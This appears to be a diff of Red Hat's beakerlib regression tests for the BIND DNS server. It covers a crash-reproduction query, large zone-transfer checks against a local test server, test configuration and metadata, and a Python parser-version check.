; d.edu-servers.net. 172800 IN AAAA 2001:500:856e::30
; e.edu-servers.net. 172800 IN AAAA 2001:502:1ca1::30
; f.edu-servers.net. 172800 IN AAAA 2001:503:d414::30
; g.edu-servers.net. 172800 IN AAAA 2001:503:eea3::30
; h.edu-servers.net. 172800 IN AAAA 2001:502:8cc::30
; i.edu-servers.net. 172800 IN AAAA 2001:503:39c1::30
; j.edu-servers.net. 172800 IN AAAA 2001:502:7094::30
; k.edu-servers.net. 172800 IN AAAA 2001:503:d2d::30
; l.edu-servers.net. 172800 IN AAAA 2001:500:d937::30
; m.edu-servers.net. 172800 IN AAAA 2001:501:b1f9::30

View file

@ -0,0 +1,159 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1647539-bind-crashes-with-assertion-error-if-log-message
# Description: Test for BZ#1647539 (bind crashes with assertion error if log message)
# Author: Petr Mensik <pemensik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2018 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
true <<'=cut'
=head2 bsDnssecManagedKeys
=over
=item path Path to public key
Generated managed keys config snipped. Can be included as trusted anchor
from named.conf.
=cut
bsDnssecManagedKeys()
{
echo "managed-keys {"
grep -v '^;' "$@" | while read ZONE CLASS TYPE FLAGS PROTO ALG KEYDATA; do
echo "$ZONE initial-key $FLAGS $PROTO $ALG \"$KEYDATA\";"
done
echo "};"
}
true <<'=cut'
=head2 bsDnssecGenerateSign
=item zone Domain origin
=item file Zone file with zone data
=item [anchor] Anchor basename, where trusted root would be generated
=item [key algorithm] Key algorithm
=item [key bitsize] Key bit size
=over
Generate new zone Key Signing Key and Zone Signing Key, then use it to sign
the zone. If anchor is also non-empty, generate trusted anchor from KSK.
=cut
bsDnssecGenerateSign()
{
local ZONE="$1"
local FILE="${2:-$ZONE.db}"
local ANCHOR="$3"
local ALGORITHM="${4:-RSASHA256}"
local KEY_SIZE="${5:-2048}"
rlRun "KSK=`dnssec-keygen -a $ALGORITHM -b $KEY_SIZE -f KSK $ZONE`"
rlRun "ZSK=`dnssec-keygen -a $ALGORITHM -b $KEY_SIZE $ZONE`"
rlRun "dnssec-signzone -S -g -o $ZONE $FILE $KSK $ZSK"
if [ -n "$ANCHOR" ]; then
rlRun "bsDnssecManagedKeys $KSK.key > $ANCHOR.conf"
rlRun "grep -v '^;' $KSK.key > $ANCHOR.key"
fi
}
true <<'=cut'
=head2 bsDigStatus
=over
=item status Required dig status
=item dig_params Remaining dig parameters
=cut
bsDigStatus()
{
STATUS="$1"
shift
local DIG_PARAMS="$@"
rlRun -s "${DIG:-dig} ${DIG_PARAMS}"
RET=$?
rlAssertEquals "Checking ${DIG:-dig} status matches" \
"$STATUS" \
"`sed -e 's/;; ->>HEADER<<- opcode: QUERY, status: \([A-Z0-9]\+\),.*/\1/' -e 't' -e 'd' \"$rlRun_LOG\"`"
rlRun "rm -f \"$rlRun_LOG\""
return $RET
}
test_iteration()
{
T="x123456789.123456789.123456789.123456789.abcdefghijklmnopqrstuvwxyz"
SUFFIX=$1
RRTYPE=${2:-TXT}
if rlRun "$DIG_REC -t NS $SUFFIX" 0 "Testing recursive server with suffix $SUFFIX"
then
for ((I=1; I<${#T}; I++))
do
rlRun "$DIG_REC +dnssec +bufsize=2048 -t $RRTYPE ${T:0:I}.$SUFFIX"
done
fi
}
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
rlAssertRpm bind
rlAssertRpm bind-utils
rlAssertRpm procps-ng
rlAssertRpm rng-tools
ZONEFILES="root.db very-long-01234567890123456789012345678901234567.test.db"
ZONEFILES="root.db edu-servers.net.db"
rlRun "TmpDir=\$(mktemp -d)" 0 "Creating tmp directory"
rlRun "cp named.conf named-recursive.conf named.hints $ZONEFILES $TmpDir"
rlRun "cp $ZONEFILES $TmpDir"
rlRun "cp dsset-* $TmpDir"
rlRun "pushd $TmpDir"
rlServiceStart rngd
rlRun "bsDnssecGenerateSign . root.db root"
rlRun "named -c named.conf -d 12" 0 "Starting authoritative server"
rlRun "named -c named-recursive.conf -d 12" 0 "Starting recursive server"
rlPhaseEnd
rlPhaseStartTest
DIG="dig @localhost"
REC_PORT="-p 53333"
DIG_REC="$DIG $REC_PORT"
rlRun "bsDigStatus NOERROR +norec" 0 "Testing authoritative server"
rlRun "bsDigStatus NOERROR $REC_PORT" 0 "Testing recursive server"
rlAssertExists "named.pid"
rlAssertExists "named-recursive.pid"
rlAssertExists "named-recursive.run"
rlRun "$DIG_REC" 0 "Testing recursive server"
# FIXME: this assumes query id is 5 characters long. May not work reliably if shorter is used.
rlRun "$DIG_REC -t AAAA +dnssec udel.edu." 0 "Checking crashing request"
rlRun "$DIG_REC" 0 "Testing recursive server"
#rlRun "PS1='in-test ' bash -i"
rlPhaseEnd
rlPhaseStartCleanup
rlRun "pkill -F named-recursive.pid"
rlRun "pkill -F named.pid"
rlRun "popd"
rlRun "rm -r $TmpDir" 0 "Removing tmp directory"
rlServiceRestore rngd
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1720703-Latest-bind-9-9-update-now-causes-zone-transfer
# Description: Test for BZ#1720703 (Latest bind (9.9) update now causes zone transfer)
# Author: Petr Mensik <pemensik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2019 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1720703-Latest-bind-9-9-update-now-causes-zone-transfer
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE named.conf bigzone.zone root.zone
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Petr Mensik <pemensik@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1720703 (Latest bind (9.9) update now causes zone transfer)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 5m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind bind-utils" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1720703" >> $(METADATA)
@echo "Releases: -RHEL4 -RHELClient5 -RHELServer5" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,5 @@
PURPOSE of /CoreOS/bind/Regression/bz1720703-Latest-bind-9-9-update-now-causes-zone-transfer
Description: Test for BZ#1720703 (Latest bind (9.9) update now causes zone transfer)
Author: Petr Mensik <pemensik@redhat.com>
Bug summary: Latest bind (9.9) update now causes zone transfer to always fail.
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1720703

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,23 @@
summary: Test for BZ#1720703 (Latest bind (9.9) update now causes zone transfer)
description: |
Bug summary: Latest bind (9.9) update now causes zone transfer to always fail.
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1720703
contact: Petr Sklenar <psklenar@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- bind-utils
duration: 5m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- TIPfail_infra
- TIPpass
relevancy: |
distro = rhel-4, rhel-5: False
extra-summary: /CoreOS/bind/Regression/bz1720703-Latest-bind-9-9-update-now-causes-zone-transfer
extra-task: /CoreOS/bind/Regression/bz1720703-Latest-bind-9-9-update-now-causes-zone-transfer
extra-nitrate: TC#0602014

View file

@ -0,0 +1,86 @@
//
// named.conf
//
// Provided by Red Hat bind package to configure the ISC BIND named(8) DNS
// server as a caching only nameserver (as a localhost DNS resolver only).
//
// See /usr/share/doc/bind*/sample/ for example named configuration files.
//
// See the BIND Administrator's Reference Manual (ARM) for details about the
// configuration located in /usr/share/doc/bind-{version}/Bv9ARM.html
options {
listen-on port 53 { any; };
listen-on-v6 port 53 { any; };
directory "/var/named";
dump-file "/var/named/data/cache_dump.db";
statistics-file "/var/named/data/named_stats.txt";
memstatistics-file "/var/named/data/named_mem_stats.txt";
recursing-file "/var/named/data/named.recursing";
secroots-file "/var/named/data/named.secroots";
allow-query { localhost; any; };
/*
- If you are building an AUTHORITATIVE DNS server, do NOT enable recursion.
- If you are building a RECURSIVE (caching) DNS server, you need to enable
recursion.
- If your recursive DNS server has a public IP address, you MUST enable access
control to limit queries to your legitimate users. Failing to do so will
cause your server to become part of large scale DNS amplification
attacks. Implementing BCP38 within your network would greatly
reduce such attack surface
*/
recursion yes;
dnssec-enable yes;
dnssec-validation yes;
managed-keys-directory "/var/named/dynamic";
pid-file "/run/named/named.pid";
session-keyfile "/run/named/session.key";
# default changed by downstream patch
#keep-response-order { none; };
};
logging {
channel default_debug {
file "data/named.run";
severity dynamic;
};
};
zone "." IN {
type master;
file "root.zone";
allow-transfer { any; };
};
zone "xfr1.test" IN {
type master;
file "bigzone.zone";
allow-transfer { any; };
};
zone "xfr2.test" IN {
type master;
file "bigzone.zone";
allow-transfer { any; };
};
zone "xfr3.test" IN {
type master;
file "bigzone.zone";
allow-transfer { any; };
};
zone "xfr4.test" IN {
type master;
file "bigzone.zone";
allow-transfer { any; };
};
include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,88 @@
#!/bin/bash
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# runtest.sh of /CoreOS/bind/Regression/bz1720703-Latest-bind-9-9-update-now-causes-zone-transfer
# Description: Test for BZ#1720703 (Latest bind (9.9) update now causes zone transfer)
# Author: Petr Mensik <pemensik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2019 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Include Beaker environment
. /usr/bin/rhts-environment.sh || exit 1
. /usr/share/beakerlib/beakerlib.sh || exit 1
PACKAGE="bind"
TIMEOUT=60
transfer_test()
{
FILE=$1.db
RECORDS=$2
[ "$1" = '.' ] && FILE=root.db
rlRun "rlWatchdog \"dig @localhost -t AXFR -q $1 > $FILE\" $TIMEOUT TERM" 0 "Transfer zone $1"
rlRun "tail $FILE"
rlRun "grep '^; Transfer failed' $FILE" 1 "Checking successful transfer"
rlAssertGrep "^;; XFR size: ${RECORDS} records" "$FILE"
rlRun "LINES=`grep -v '^;' $FILE | wc -l`" 0 "Count lines"
rlAssertGreater "Checking enough records were fetched" $LINES $RECORDS
}
rlJournalStart
rlPhaseStartSetup
rlAssertRpm $PACKAGE
rlAssertRpm $PACKAGE-utils
rlRun "TmpDir=\$(mktemp -d)" 0 "Creating tmp directory"
rlRun "rlFileBackup /etc/named.conf"
rlRun "rlFileBackup /etc/sysconfig/named"
rlRun "cp -f named.conf /etc/named.conf"
rlRun "rlFileBackup --missing-ok /var/named/bigzone.zone"
rlRun "cp -f bigzone.zone root.zone /var/named"
if ! grep '^OPTIONS=' /etc/sysconfig/named
then
# Allow customization when testing, change only first time
echo "OPTIONS='-d 7'" >> /etc/sysconfig/named
rlLog "Changed default debug log level"
fi
rlRun "pushd $TmpDir"
rlRun "rlServiceStart named"
rlPhaseEnd
rlPhaseStartTest
rlRun -s "dig @localhost -t SOA -q xfr1.test" 0 "Checking zone is online"
rlAssertGrep '^;.* status: NOERROR' "$rlRun_LOG"
# do not translate IDN
export IDN_DISABLE=1
export CHARSET=ASCII
transfer_test . 22492
transfer_test xfr1.test 149653
transfer_test xfr2.test 149653
rlPhaseEnd
rlPhaseStartCleanup
rlRun "popd"
rlRun "rm -r $TmpDir" 0 "Removing tmp directory"
rlFileRestore
rlServiceRestore named
rlPhaseEnd
rlJournalPrintText
rlJournalEnd

View file

@ -0,0 +1,64 @@
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Makefile of /CoreOS/bind/Regression/bz1759845-python-bind-s-isc-parsetab-must-be-regenerated
# Description: Test for BZ#1759845 (python-bind's isc.parsetab must be regenerated)
# Author: Petr Mensik <pemensik@redhat.com>
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# Copyright (c) 2019 Red Hat, Inc.
#
# This program is free software: you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation, either version 2 of
# the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
# PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see http://www.gnu.org/licenses/.
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
export TEST=/CoreOS/bind/Regression/bz1759845-python-bind-s-isc-parsetab-must-be-regenerated
export TESTVERSION=1.0
BUILT_FILES=
FILES=$(METADATA) runtest.sh Makefile PURPOSE checkversion.py
.PHONY: all install download clean
run: $(FILES) build
./runtest.sh
build: $(BUILT_FILES)
test -x runtest.sh || chmod a+x runtest.sh
clean:
rm -f *~ $(BUILT_FILES)
include /usr/share/rhts/lib/rhts-make.include
$(METADATA): Makefile
@echo "Owner: Petr Mensik <pemensik@redhat.com>" > $(METADATA)
@echo "Name: $(TEST)" >> $(METADATA)
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
@echo "Path: $(TEST_DIR)" >> $(METADATA)
@echo "Description: Test for BZ#1759845 (python-bind's isc.parsetab must be regenerated)" >> $(METADATA)
@echo "Type: Regression" >> $(METADATA)
@echo "TestTime: 5m" >> $(METADATA)
@echo "RunFor: bind" >> $(METADATA)
@echo "Requires: bind bind-utils" >> $(METADATA)
@echo "Priority: Normal" >> $(METADATA)
@echo "License: GPLv2+" >> $(METADATA)
@echo "Confidential: no" >> $(METADATA)
@echo "Destructive: no" >> $(METADATA)
@echo "Bug: 1759845" >> $(METADATA)
@echo "Releases: -RHEL4 -RHEL6 -RHELClient5 -RHELServer5 -RHEL6 -RHEL7" >> $(METADATA)
rhts-lint $(METADATA)

View file

@ -0,0 +1,7 @@
PURPOSE of /CoreOS/bind/Regression/bz1759845-python-bind-s-isc-parsetab-must-be-regenerated
Description: Test for BZ#1759845 (python-bind's isc.parsetab must be regenerated)
Author: Petr Mensik <pemensik@redhat.com>
Bug summary: python-bind's isc.parsetab must be regenerated after python-ply has been updated
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1759845
Ensure generated grammar version remains the same as original ply.yacc

View file

@ -0,0 +1,10 @@
#!/usr/bin/python3
import ply.yacc
import isc.parsetab
p_ver = ply.yacc.__tabversion__
i_ver = isc.parsetab._tabversion
print('tabversions: ply {p_ver} == isc {i_ver}: {result}'.format(
p_ver=p_ver, i_ver=i_ver, result=(p_ver == i_ver)))
assert(p_ver == i_ver)

View file

@ -0,0 +1,27 @@
summary: Test for BZ#1759845 (python-bind's isc.parsetab must be regenerated)
description: |
Bug summary: python-bind's isc.parsetab must be regenerated after python-ply has been updated
Bugzilla link: https://bugzilla.redhat.com/show_bug.cgi?id=1759845
Ensure generated grammar version remains the same as original ply.yacc
contact: None <rhack@redhat.com>
component:
- bind
test: ./runtest.sh
require:
- bind
- bind-utils
duration: 5m
enabled: true
tag:
- NoRHEL4
- NoRHEL5
- NoRHEL6
- NoRHEL7
- TIPpass
- TIPpass_infra
relevancy: |
distro = rhel-4, rhel-5, rhel-6, rhel-7: False
extra-summary: /CoreOS/bind/Regression/bz1759845-python-bind-s-isc-parsetab-must-be-regenerated
extra-task: /CoreOS/bind/Regression/bz1759845-python-bind-s-isc-parsetab-must-be-regenerated
extra-nitrate: TC#0605274

Some files were not shown because too many files have changed in this diff Show more